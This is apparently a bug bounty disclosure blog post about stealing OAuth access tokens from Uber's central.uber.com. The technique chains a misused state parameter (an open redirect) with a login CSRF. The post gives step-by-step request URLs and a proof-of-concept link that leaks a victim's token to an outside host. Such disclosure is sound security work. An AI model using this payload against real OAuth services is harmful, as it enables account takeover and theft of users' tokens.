Have been hunting Uber bugs for quite a while, and this is my first blog post about Uber bug hunting report, hope you like it.
In response to this tweet and this excellent report, I decided to share one of the most unique issue I found in Uber. OAuth Theft.
TL;DR
This bug is in central.uber.com, it uses oauth as login mechanism, however the CSRF parameter is not used correctly, which allow attacker to take advantage of the misused state parameter to perform open redirect and login CSRF, then steal the access token in URL hash after redirect.
Login Flow of central.uber.com
This report starts with the login flow of central.uber.com, a few months earlier, when user press login in central.uber.com, it goes like this.
- https://central.uber.com/login?state=/somewhere
- https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2Fsomewhere
- https://central.uber.com/oauth2-callback?state=%2F&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
- https://central.uber.com/somewhere
Take some time to read again the login flow, in order to understand this bug, you need to very familiar with the login flow.
When I saw this login flow, my first try to attack this flow is changing the state value from /somewhere to //google.com, to get a potential open redirect, now the flow goes like this.
- https://central.uber.com/login?state=//google.com
- https://login.uber.com/oauth/authorize?response_type=code&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
- https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
- //google.com
Wow, I successfully turn this login flow to a open redirect, a very good start for an oauth login flow. Let’s turn this to something more interesting since Uber does not accept open redirect report 🙁
Since the oauth request is using code instead of token, so even with open redirect we cannot steal anything from this flow. So now we change the request from code to token and see what will happen this time.
- https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback&state=%2F%2fgoogle.com
- https://central.uber.com/oauth2-callback?state=%2F%2fgoogle.com#access_token=xxxxx
- No redirect here 🙁
Because there is no valid code value for https://central.uber.com/oauth2-callback, so that there is no open redirect after step 2. If there is no open redirect, nothing we can do to steal that precious access token. We need a workaround, we need a valid code for that oauth2-callback endpoint.
Login CSRF
It is now the perfect moment for Login CSRF to take advantage in moment like this, since the CSRF parameter state is used as redirect purpose, now we can just simply put our attacker’s own valid oauth code to the endpoint oauth2-callback, and send that to victim, so now victim will correctly redirect to attacker controlled page with the leaked access token.
Limitation
Only requirement of this bug is that the user is already have an authenticated session in login.uber.com, since central.uber.com is an official oauth client, every uber user will accept whatever central.uber.com requests by default.
PoC
https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3dattacker_valid_oauth_code&state=%2F%2fhackerone.com
PoC Login Flow
- https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{attacker_valid_oauth_code}&state=%2F%2fhackerone.com
- https://central.uber.com/oauth2-callback?state=%2F%2fhackerone.com&code={attacker_valid_oauth_code}#access_token={victim_access_token}
- //hackerone.com#accesstoken={victim_access_token}
Done! Thanks for reading. Let me know what you think, tweet me @ngalongc
Update 2017-08-11: Big thanks to @samidrif for saving this write-up, I lost it once, and promise myself won’t lose it again